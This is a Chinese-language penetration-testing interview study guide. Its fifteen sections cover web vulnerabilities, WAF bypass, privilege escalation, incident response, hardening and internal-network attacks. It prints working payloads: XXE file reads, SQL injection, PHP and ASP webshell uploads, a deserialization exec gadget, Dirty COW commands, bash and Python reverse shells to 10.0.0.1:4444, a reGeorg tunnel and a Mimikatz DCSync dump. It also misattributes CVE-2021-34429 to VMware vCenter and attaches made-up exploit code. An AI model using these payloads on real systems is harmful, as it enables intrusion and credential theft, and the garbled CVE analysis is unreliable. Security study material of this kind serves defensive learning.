网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
常见面试题
一、渗透测试经历与技术复盘
二、高频漏洞类型与攻防体系
三、渗透工具链与技术特性
四、WAF绕过技术矩阵
五、系统提权技术路径
六、开源组件高危漏洞库
七、CVE深度分析案例
八、服务器入侵应急响应流程
九、SQL注入全方位防御
十、中间件解析漏洞利用
十一、系统加固技术方案
十二、CDN穿透技术矩阵
十三、渗透测试方法论
十四、反弹Shell技术体系
十五、内网渗透实战框架
常见面试题
介绍一下自认为有趣的挖洞经历(或CTF经历) 你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案? 你平时使用哪些工具?以及对应工具的特点? 如果遇到waf的情况下如何进行SQL注入/上传Webshell怎么做? 谈谈Windows系统与Linux系统提权的思路? 列举出您所知道的所有开源组件高危漏洞 描述一个你深入研究过的 CVE 或 POC php/java反序列化漏洞的原理?解决方案? 如果一台服务器被入侵后,你会如何做应急响应? 介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些? 常见的中间件解析漏洞利用方式 Windows、Linux、数据库的加固降权思路 如何绕过CDN获取目标网站真实IP,谈谈你的思路 如果给你一个网站,你的渗透测试思路是什么? 你实际的渗透测试经历等等 反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么? SSRF漏洞的成因 防御 绕过? 有哪些反向代理的工具,有没有实际的内网渗透经历?
一、渗透测试经历与技术复盘
- XXE漏洞挖掘案例 在某金融系统测试中发现XML解析模块未禁用外部实体引用,通过构造恶意DTD实现:
xml<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <data>&xxe;</data>
利用过程:通过观察HTTP请求Content-Type为
application/xml
,测试不同XML结构触发文件读取。修复方案:配置XML解析器禁用外部实体(如设置XMLConstants.FEATURE_SECURE_PROCESSING
)
- 逻辑漏洞组合利用 在电商平台发现"购物车价格篡改+并发请求"组合漏洞:
- 修改前端价格参数后发送100次并发请求
- 利用订单状态机处理延迟(5秒内未支付可重复提交)
- 修复方案:后端价格校验+分布式锁控制订单创建
- CTF中SSRF绕过案例 目标环境过滤
127.0.0.1
,使用以下技术链:http://0177.0.0.1 → 八进制IP编码 http://localhost. → 域名后缀绕过 http://{FALSE DOMAIN}?x=http://127.0.0.1 → 二次跳转
二、高频漏洞类型与攻防体系
(以下为节选部分内容,完整版包含10类漏洞分析)
- SQL注入 原理:未过滤用户输入导致查询结构破坏
sqlSELECT * FROM users WHERE id='1' UNION SELECT database()-- '
修复方案:
- 预编译语句(Java示例):
javaPreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id=?"); stmt.setString(1, input);
- 反序列化漏洞 Java反序列化攻击链构建:
javapublic class Exploit implements Serializable { private void readObject(ObjectInputStream in) { Runtime.getRuntime().exec("calc.exe"); } }
防御方案:
- 使用SafeObjectInputStream
- 配置
serialFilter
白名单三、渗透工具链与技术特性
工具名称 核心功能 技术特点 SQLMap SQL注入检测 支持6种注入技术,自动识别WAF Burp Suite Web漏洞扫描 可扩展插件架构,支持Intruder模块爆破 Metasploit 漏洞利用框架 集成2000+漏洞模块,支持载荷生成 四、WAF绕过技术矩阵
- SQL注入绕过技术:
- 注释符变异:
/*!50000SELECT*/
- 字符编码:
CHAR(83,69,76,69,67,84)
- 等价函数替换:
MID() → SUBSTR()
- 文件上传绕过方案:
httpPOST /upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="test.pHp" Content-Type: image/jpeg <?php system($_GET['cmd']);?>
五、系统提权技术路径
Windows提权路线:
- 服务路径漏洞:劫持未引号服务路径
- DLL注入:利用
PSExec
加载恶意DLL- 令牌窃取:使用Mimikatz获取SYSTEM令牌
Linux提权技术:
bash# SUID提权案例 find / -perm -4000 2>/dev/null # 内核漏洞利用 gcc dirtycow.c -o exp && ./exp
六、开源组件高危漏洞库
(节选部分,完整列表包含15个CVE)
- Apache Log4j2 (CVE-2021-44228)
- 影响版本:2.0-beta9 to 2.14.1
- 修复方案:升级至2.15.0+并设置
log4j2.formatMsgNoLookups=true
- Fastjson反序列化 (CNVD-2019-22238)
- 攻击载荷:利用JNDI注入点
- 安全配置:启用
SafeMode
七、CVE深度分析案例
以CVE-2021-34429(VMware vCenter漏洞)为例:
- 漏洞成因:OVA文件上传时未校验XML签名
- 利用链:
pythonwith zipfile.ZipFile('exploit.ova', 'w') as z: z.writestr('service.xml', malicious_xml)
- 流量特征:HTTP PUT请求包含
/vsphere-client/...
路径八、服务器入侵应急响应流程
- 事件确认阶段:
- 使用
Volatility
分析内存镜像- 检查
/etc/passwd
修改时间戳bashstat -c %y /etc/passwd
- 溯源分析:
- 查询防火墙日志
bashgrep 'ESTABLISHED' /var/log/iptables.log
- 提取Webshell特征码:
php$s = preg_replace('/.*eval\((.*)\).*/', '$1', $fileContents);
九、SQL注入全方位防御
防范技术体系:
- 输入验证:正则表达式过滤
[\s'";#]
- 数据库加固:
sqlREVOKE FILE ON *.* FROM 'webuser'@'%'; ALTER USER 'webuser'@'%' WITH MAX_QUERIES_PER_HOUR 100;
十、中间件解析漏洞利用
IIS 6.0解析漏洞利用:
httpPUT /test.txt HTTP/1.1 Host: target Content-Length: 100 <%execute(request("cmd"))%>
通过重命名为
test.txt;.asp
触发脚本执行十一、系统加固技术方案
Windows加固清单:
- 服务管理:
powershellGet-Service | Where-Object {$_.StartType -eq 'Auto'} Set-Service -Name "Telnet" -StartupType Disabled
Linux权限控制:
bashchmod 0755 /usr/bin/wget setfacl -m u:www-data:r-x /var/www
十二、CDN穿透技术矩阵
真实IP发现方法:
- 全球DNS历史记录查询
- 子域名爆破:
*.internal.example.com
- SSL证书关联分析:
openssl s_client -connect target:443
十三、渗透测试方法论
五阶段模型:
- 信息收集:
bashsubfinder -d example.com -o subs.txt nmap -sV --script=http-title -iL subs.txt
- 漏洞利用:
pythonrequests.post(url, data={"id": "1 AND 1=LOAD_FILE('/etc/passwd')"})
十四、反弹Shell技术体系
常用Payload对比:
bash# Bash反弹 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 # Python稳定性更强 python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
十五、内网渗透实战框架
内网穿透方案:
- 使用reGeorg建立隧道:
pythonpython reGeorgSocksProxy.py -p 8080 -u http://target/tunnel.php
- 横向移动技术:
powershellInvoke-Mimikatz -Command '"lsadump::dcsync /domain:corp /user:Administrator"'